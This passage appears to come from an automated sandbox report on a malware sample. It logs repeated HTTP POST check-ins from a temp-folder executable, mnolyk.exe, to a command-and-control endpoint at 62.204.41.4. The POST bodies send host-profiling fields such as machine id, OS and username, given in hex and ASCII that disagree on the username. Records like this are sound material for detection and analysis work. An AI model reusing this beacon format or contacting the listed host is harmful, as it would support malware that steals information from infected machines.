Feb 7, 2023 23:09:21.772161961 CET	635	OUT	POST /Gol478Ns/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 62.204.41.4 Content-Length: 91 Cache-Control: no-cache Data Raw: 69 64 3d 38 35 33 33 32 31 39 33 35 32 31 32 26 76 73 3d 33 2e 36 36 26 73 64 3d 36 66 38 63 30 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 33 32 30 39 34 36 26 75 6e 3d 66 72 6f 6e 74 64 65 73 6b 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 26 6f 67 3d 31 Data Ascii: id=853321935212&vs=3.66&sd=6f8c0f&os=1&bi=1&ar=1&pc=320946&un=user&dm=&av=13&lv=0&og=1
Feb 7, 2023 23:09:21.834883928 CET	635	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 07 Feb 2023 22:09:21 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
521	192.168.2.7	50216	62.204.41.4	80	C:\Users\user\AppData\Local\Temp\4b9a106e76\mnolyk.exe

Timestamp	kBytes transferred	Direction	Data
Feb 7, 2023 23:09:22.010257959 CET	636	OUT	POST /Gol478Ns/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 62.204.41.4 Content-Length: 91 Cache-Control: no-cache Data Raw: 69 64 3d 38 35 33 33 32 31 39 33 35 32 31 32 26 76 73 3d 33 2e 36 36 26 73 64 3d 36 66 38 63 30 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 33 32 30 39 34 36 26 75 6e 3d 66 72 6f 6e 74 64 65 73 6b 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 26 6f 67 3d 31 Data Ascii: id=853321935212&vs=3.66&sd=6f8c0f&os=1&bi=1&ar=1&pc=320946&un=user&dm=&av=13&lv=0&og=1
Feb 7, 2023 23:09:22.076227903 CET	636	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 07 Feb 2023 22:09:22 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
522	192.168.2.7	50217	62.204.41.4	80	C:\Users\user\AppData\Local\Temp\4b9a106e76\mnolyk.exe

Timestamp	kBytes transferred	Direction	Data
Feb 7, 2023 23:09:22.244328976 CET	637	OUT	POST /Gol478Ns/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 62.204.41.4 Content-Length: 91 Cache-Control: no-cache Data Raw: 69 64 3d 38 35 33 33 32 31 39 33 35 32 31 32 26 76 73 3d 33 2e 36 36 26 73 64 3d 36 66 38 63 30 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 33 32 30 39 34 36 26 75 6e 3d 66 72 6f 6e 74 64 65 73 6b 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 26 6f 67 3d 31 Data Ascii: id=853321935212&vs=3.66&sd=6f8c0f&os=1&bi=1&ar=1&pc=320946&un=user&dm=&av=13&lv=0&og=1
Feb 7, 2023 23:09:22.307096004 CET	637	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 07 Feb 2023 22:09:22 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
523	192.168.2.7	50218	62.204.41.4	80	C:\Users\user\AppData\Local\Temp\4b9a106e76\mnolyk.exe

Timestamp	kBytes transferred	Direction	Data
Feb 7, 2023 23:09:22.479535103 CET	638	OUT	POST /Gol478Ns/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 62.204.41.4 Content-Length: 91 Cache-Control: no-cache Data Raw: 69 64 3d 38 35 33 33 32 31 39 33 35 32 31 32 26 76 73 3d 33 2e 36 36 26 73 64 3d 36 66 38 63 30 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 33 32 30 39 34 36 26 75 6e 3d 66 72 6f 6e 74 64 65 73 6b 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 26 6f 67 3d 31 Data Ascii: id=853321935212&vs=3.66&sd=6f8c0f&os=1&bi=1&ar=1&pc=320946&un=user&dm=&av=13&lv=0&og=1
Feb 7, 2023 23:09:22.542292118 CET	638	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 07 Feb 2023 22:09:22 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
524	192.168.2.7	50219	62.204.41.4	80	C:\Users\user\AppData\Local\Temp\4b9a106e76\mnolyk.exe

Timestamp	kBytes transferred	Direction	Data
Feb 7, 2023 23:09:22.722186089 CET	639	OUT	POST /Gol478Ns/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 62.204.41.4 Content-Length: 91 Cache-Control: no-cache Data Raw: 69 64 3d 38 35 33 33 32 31 39 33 35 32 31 32 26 76 73 3d 33 2e 36 36 26 73 64 3d 36 66 38 63 30 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 33 32 30 39 34 36 26 75 6e 3d 66 72 6f 6e 74 64 65 73 6b 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 26 6f 67 3d 31 Data Ascii: id=853321935212&vs=3.66&sd=6f8c0f&os=1&bi=1&ar=1&pc=320946&un=user&dm=&av=13&lv=0&og=1
Feb 7, 2023 23:09:22.784706116 CET	639	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 07 Feb 2023 22:09:22 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
525	192.168.2.7	50220	62.204.41.4	80	C:\Users\user\AppData\Local\Temp\4b9a106e76\mnolyk.exe

Timestamp	kBytes transferred	Direction	Data
Feb 7, 2023 23:09:22.982034922 CET	640	OUT	POST /Gol478Ns/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 62.204.41.4 Content-Length: 91 Cache-Control: no-cache Data Raw: 69 64 3d 38 35 33 33 32 31 39 33 35 32 31 32 26 76 73 3d 33 2e 36 36 26 73 64 3d 36 66 38 63 30 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 33 32 30 39 34 36 26 75 6e 3d 66 72 6f 6e 74 64 65 73 6b 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 26 6f 67 3d 31 Data Ascii: id=853321935212&vs=3.66&sd=6f8c0f&os=1&bi=1&ar=1&pc=320946&un=user&dm=&av=13&lv=0&og=1
Feb 7, 2023 23:09:23.048352957 CET	640	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 07 Feb 2023 22:09:23 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
526	192.168.2.7	50221	62.204.41.4	80	C:\Users\user\AppData\Local\Temp\4b9a106e76\mnolyk.exe

Timestamp	kBytes transferred	Direction	Data
Feb 7, 2023 23:09:23.231200933 CET	641	OUT	POST /Gol478Ns/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 62.204.41.4 Content-Length: 91 Cache-Control: no-cache Data Raw: 69 64 3d 38 35 33 33 32 31 39 33 35 32 31 32 26 76 73 3d 33 2e 36 36 26 73 64 3d 36 66 38 63 30 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 33 32 30 39 34 36 26 75 6e 3d 66 72 6f 6e 74 64 65 73 6b 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 26 6f 67 3d 31 Data Ascii: id=853321935212&vs=3.66&sd=6f8c0f&os=1&bi=1&ar=1&pc=320946&un=user&dm=&av=13&lv=0&og=1
Feb 7, 2023 23:09:23.295761108 CET	641	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 07 Feb 2023 22:09:23 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
527	192.168.2.7	50222	62.204.41.4	80	C:\Users\user\AppData\Local\Temp\4b9a106e76\mnolyk.exe

Timestamp	kBytes transferred	Direction	Data
Feb 7, 2023 23:09:23.463165045 CET	642	OUT	POST /Gol478Ns/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 62.204.41.4 Content-Length: 91 Cache-Control: no-cache Data Raw: 69 64 3d 38 35 33 33 32 31 39 33 35 32 31 32 26 76 73 3d 33 2e 36 36 26 73 64 3d 36 66 38 63 30 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 33 32 30 39 34 36 26 75 6e 3d 66 72 6f 6e 74 64 65 73 6b 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 26 6f 67 3d 31 Data Ascii: id=853321935212&vs=3.66&sd=6f8c0f&os=1&bi=1&ar=1&pc=320946&un=user&dm=&av=13&lv=0&og=1
Feb 7, 2023 23:09:23.525696039 CET	642	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 07 Feb 2023 22:09:23 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
528	192.168.2.7	50223	62.204.41.4	80	C:\Users\user\AppData\Local\Temp\4b9a106e76\mnolyk.exe

Timestamp	kBytes transferred	Direction	Data
Feb 7, 2023 23:09:23.700905085 CET	643	OUT	POST /Gol478Ns/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 62.204.41.4 Content-Length: 91 Cache-Control: no-cache Data Raw: 69 64 3d 38 35 33 33 32 31 39 33 35 32 31 32 26 76 73 3d 33 2e 36 36 26 73 64 3d 36 66 38 63 30 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 33 32 30 39 34 36 26 75 6e 3d 66 72 6f 6e 74 64 65 73 6b 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 26 6f 67 3d 31 Data Ascii: id=853321935212&vs=3.66&sd=6f8c0f&os=1&bi=1&ar=1&pc=320946&un=user&dm=&av=13&lv=0&og=1
Feb 7, 2023 23:09:23.765327930 CET	643	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 07 Feb 2023 22:09:23 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
529	192.168.2.7	50224	62.204.41.4	80	C:\Users\user\AppData\Local\Temp\4b9a106e76\mnolyk.exe

Timestamp	kBytes transferred	Direction	Data
Feb 7, 2023 23:09:23.949840069 CET	644	OUT	POST /Gol478Ns/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 62.204.41.4 Content-Length: 91 Cache-Control: no-cache Data Raw: 69 64 3d 38 35 33 33 32 31 39 33 35 32 31 32 26 76 73 3d 33 2e 36 36 26 73 64 3d 36 66 38 63 30 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 33 32 30 39 34 36 26 75 6e 3d 66 72 6f 6e 74 64 65 73 6b 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 26 6f 67 3d 31 Data Ascii: id=853321935212&vs=3.66&sd=6f8c0f&os=1&bi=1&ar=1&pc=320946&un=user&dm=&av=13&lv=0&og=1
Feb 7, 2023 23:09:24.015782118 CET	644	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 07 Feb 2023 22:09:23 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
53	192.168.2.7	49748	62.204.41.4	80	C:\Users\user\AppData\Local\Temp\4b9a106e76\mnolyk.exe

Timestamp	kBytes transferred	Direction	Data
Feb 7, 2023 23:07:14.403703928 CET	168	OUT	POST /Gol478Ns/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 62.204.41.4 Content-Length: 91 Cache-Control: no-cache Data Raw: 69 64 3d 38 35 33 33 32 31 39 33 35 32 31 32 26 76 73 3d 33 2e 36 36 26 73 64 3d 36 66 38 63 30 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 33 32 30 39 34 36 26 75 6e 3d 66 72 6f 6e 74 64 65 73 6b 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 26 6f 67 3d 31 Data Ascii: id=853321935212&vs=3.66&sd=6f8c0f&os=1&bi=1&ar=1&pc=320946&un=user&dm=&av=13&lv=0&og=1
Feb 7, 2023 23:07:14.465245962 CET	168	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 07 Feb 2023 22:07:14 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
530	192.168.2.7	50225	62.204.41.4	80	C:\Users\user\AppData\Local\Temp\4b9a106e76\mnolyk.exe

Timestamp	kBytes transferred	Direction	Data
Feb 7, 2023 23:09:24.183238983 CET	645	OUT	POST /Gol478Ns/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 62.204.41.4 Content-Length: 91 Cache-Control: no-cache Data Raw: 69 64 3d 38 35 33 33 32 31 39 33 35 32 31 32 26 76 73 3d 33 2e 36 36 26 73 64 3d 36 66 38 63 30 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 33 32 30 39 34 36 26 75 6e 3d 66 72 6f 6e 74 64 65 73 6b 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 26 6f 67 3d 31 Data Ascii: id=853321935212&vs=3.66&sd=6f8c0f&os=1&bi=1&ar=1&pc=320946&un=user&dm=&av=13&lv=0&og=1
Feb 7, 2023 23:09:24.246649027 CET	645	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 07 Feb 2023 22:09:24 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
531	192.168.2.7	50226	62.204.41.4	80	C:\Users\user\AppData\Local\Temp\4b9a106e76\mnolyk.exe

Timestamp	kBytes transferred	Direction	Data
Feb 7, 2023 23:09:24.417895079 CET	646	OUT	POST /Gol478Ns/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 62.204.41.4 Content-Length: 91 Cache-Control: no-cache Data Raw: 69 64 3d 38 35 33 33 32 31 39 33 35 32 31 32 26 76 73 3d 33 2e 36 36 26 73 64 3d 36 66 38 63 30 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 33 32 30 39 34 36 26 75 6e 3d 66 72 6f 6e 74 64 65 73 6b 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 26 6f 67 3d 31 Data Ascii: id=853321935212&vs=3.66&sd=6f8c0f&os=1&bi=1&ar=1&pc=320946&un=user&dm=&av=13&lv=0&og=1
Feb 7, 2023 23:09:24.481350899 CET	646	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 07 Feb 2023 22:09:24 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
532	192.168.2.7	50227	62.204.41.4	80	C:\Users\user\AppData\Local\Temp\4b9a106e76\mnolyk.exe

Timestamp	kBytes transferred	Direction	Data
Feb 7, 2023 23:09:24.691349983 CET	647	OUT	POST /Gol478Ns/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 62.204.41.4 Content-Length: 91 Cache-Control: no-cache Data Raw: 69 64 3d 38 35 33 33 32 31 39 33 35 32 31 32 26 76 73 3d 33 2e 36 36 26 73 64 3d 36 66 38 63 30 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 33 32 30 39 34 36 26 75 6e 3d 66 72 6f 6e 74 64 65 73 6b 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 26 6f 67 3d 31 Data Ascii: id=853321935212&vs=3.66&sd=6f8c0f&os=1&bi=1&ar=1&pc=320946&un=user&dm=&av=13&lv=0&og=1
Feb 7, 2023 23:09:24.755100012 CET	647	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 07 Feb 2023 22:09:24 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
533	192.168.2.7	50228	62.204.41.4	80	C:\Users\user\AppData\Local\Temp\4b9a106e76\mnolyk.exe

Timestamp	kBytes transferred	Direction	Data
Feb 7, 2023 23:09:24.958281994 CET	648	OUT	POST /Gol478Ns/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 62.204.41.4 Content-Length: 91 Cache-Control: no-cache Data Raw: 69 64 3d 38 35 33 33 32 31 39 33 35 32 31 32 26 76 73 3d 33 2e 36 36 26 73 64 3d 36 66 38 63 30 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 33 32 30 39 34 36 26 75 6e 3d 66 72 6f 6e 74 64 65 73 6b 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 26 6f 67 3d 31 Data Ascii: id=853321935212&vs=3.66&sd=6f8c0f&os=1&bi=1&ar=1&pc=320946&un=user&dm=&av=13&lv=0&og=1
Feb 7, 2023 23:09:25.022794962 CET	648	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 07 Feb 2023 22:09:24 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
534	192.168.2.7	50229	62.204.41.4	80	C:\Users\user\AppData\Local\Temp\4b9a106e76\mnolyk.exe

Timestamp	kBytes transferred	Direction	Data
Feb 7, 2023 23:09:25.211608887 CET	649	OUT	POST /Gol478Ns/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 62.204.41.4 Content-Length: 91 Cache-Control: no-cache Data Raw: 69 64 3d 38 35 33 33 32 31 39 33 35 32 31 32 26 76 73 3d 33 2e 36 36 26 73 64 3d 36 66 38 63 30 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 33 32 30 39 34 36 26 75 6e 3d 66 72 6f 6e 74 64 65 73 6b 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 26 6f 67 3d 31 Data Ascii: id=853321935212&vs=3.66&sd=6f8c0f&os=1&bi=1&ar=1&pc=320946&un=user&dm=&av=13&lv=0&og=1
Feb 7, 2023 23:09:25.275871992 CET	649	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 07 Feb 2023 22:09:25 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
535	192.168.2.7	50230	62.204.41.4	80	C:\Users\user\AppData\Local\Temp\4b9a106e76\mnolyk.exe

Timestamp	kBytes transferred	Direction	Data
Feb 7, 2023 23:09:25.448060989 CET	650	OUT	POST /Gol478Ns/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 62.204.41.4 Content-Length: 91 Cache-Control: no-cache Data Raw: 69 64 3d 38 35 33 33 32 31 39 33 35 32 31 32 26 76 73 3d 33 2e 36 36 26 73 64 3d 36 66 38 63 30 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 33 32 30 39 34 36 26 75 6e 3d 66 72 6f 6e 74 64 65 73 6b 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 26 6f 67 3d 31 Data Ascii: id=853321935212&vs=3.66&sd=6f8c0f&os=1&bi=1&ar=1&pc=320946&un=user&dm=&av=13&lv=0&og=1
Feb 7, 2023 23:09:25.512218952 CET	650	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 07 Feb 2023 22:09:25 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
536	192.168.2.7	50231	62.204.41.4	80	C:\Users\user\AppData\Local\Temp\4b9a106e76\mnolyk.exe

Timestamp	kBytes transferred	Direction	Data
Feb 7, 2023 23:09:25.697760105 CET	651	OUT	POST /Gol478Ns/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 62.204.41.4 Content-Length: 91 Cache-Control: no-cache Data Raw: 69 64 3d 38 35 33 33 32 31 39 33 35 32 31 32 26 76 73 3d 33 2e 36 36 26 73 64 3d 36 66 38 63 30 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 33 32 30 39 34 36 26 75 6e 3d 66 72 6f 6e 74 64 65 73 6b 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 26 6f 67 3d 31 Data Ascii: id=853321935212&vs=3.66&sd=6f8c0f&os=1&bi=1&ar=1&pc=320946&un=user&dm=&av=13&lv=0&og=1
Feb 7, 2023 23:09:25.781003952 CET	651	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 07 Feb 2023 22:09:25 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
537	192.168.2.7	50232	62.204.41.4	80	C:\Users\user\AppData\Local\Temp\4b9a106e76\mnolyk.exe

Timestamp	kBytes transferred	Direction	Data
Feb 7, 2023 23:09:25.965511084 CET	652	OUT	POST /Gol478Ns/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 62.204.41.4 Content-Length: 91 Cache-Control: no-cache Data Raw: 69 64 3d 38 35 33 33 32 31 39 33 35 32 31 32 26 76 73 3d 33 2e 36 36 26 73 64 3d 36 66 38 63 30 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 33 32 30 39 34 36 26 75 6e 3d 66 72 6f 6e 74 64 65 73 6b 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 26 6f 67 3d 31 Data Ascii: id=853321935212&vs=3.66&sd=6f8c0f&os=1&bi=1&ar=1&pc=320946&un=user&dm=&av=13&lv=0&og=1
Feb 7, 2023 23:09:26.030555964 CET	652	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 07 Feb 2023 22:09:25 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
538	192.168.2.7	50233	62.204.41.4	80	C:\Users\user\AppData\Local\Temp\4b9a106e76\mnolyk.exe

Timestamp	kBytes transferred	Direction	Data
Feb 7, 2023 23:09:26.208390951 CET	653	OUT	POST /Gol478Ns/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 62.204.41.4 Content-Length: 91 Cache-Control: no-cache Data Raw: 69 64 3d 38 35 33 33 32 31 39 33 35 32 31 32 26 76 73 3d 33 2e 36 36 26 73 64 3d 36 66 38 63 30 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 33 32 30 39 34 36 26 75 6e 3d 66 72 6f 6e 74 64 65 73 6b 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 26 6f 67 3d 31 Data Ascii: id=853321935212&vs=3.66&sd=6f8c0f&os=1&bi=1&ar=1&pc=320946&un=user&dm=&av=13&lv=0&og=1
Feb 7, 2023 23:09:26.273317099 CET	653	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 07 Feb 2023 22:09:26 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
539	192.168.2.7	50234	62.204.41.4	80	C:\Users\user\AppData\Local\Temp\4b9a106e76\mnolyk.exe

Timestamp	kBytes transferred	Direction	Data
Feb 7, 2023 23:09:26.686624050 CET	654	OUT	POST /Gol478Ns/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 62.204.41.4 Content-Length: 91 Cache-Control: no-cache Data Raw: 69 64 3d 38 35 33 33 32 31 39 33 35 32 31 32 26 76 73 3d 33 2e 36 36 26 73 64 3d 36 66 38 63 30 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 33 32 30 39 34 36 26 75 6e 3d 66 72 6f 6e 74 64 65 73 6b 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 26 6f 67 3d 31 Data Ascii: id=853321935212&vs=3.66&sd=6f8c0f&os=1&bi=1&ar=1&pc=320946&un=user&dm=&av=13&lv=0&og=1
Feb 7, 2023 23:09:26.749392033 CET	654	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 07 Feb 2023 22:09:26 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
54	192.168.2.7	49749	62.204.41.4	80	C:\Users\user\AppData\Local\Temp\4b9a106e76\mnolyk.exe

Timestamp	kBytes transferred	Direction	Data
Feb 7, 2023 23:07:14.642908096 CET	169	OUT	POST /Gol478Ns/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 62.204.41.4 Content-Length: 91 Cache-Control: no-cache Data Raw: 69 64 3d 38 35 33 33 32 31 39 33 35 32 31 32 26 76 73 3d 33 2e 36 36 26 73 64 3d 36 66 38 63 30 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 33 32 30 39 34 36 26 75 6e 3d 66 72 6f 6e 74 64 65 73 6b 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 26 6f 67 3d 31 Data Ascii: id=853321935212&vs=3.66&sd=6f8c0f&os=1&bi=1&ar=1&pc=320946&un=user&dm=&av=13&lv=0&og=1
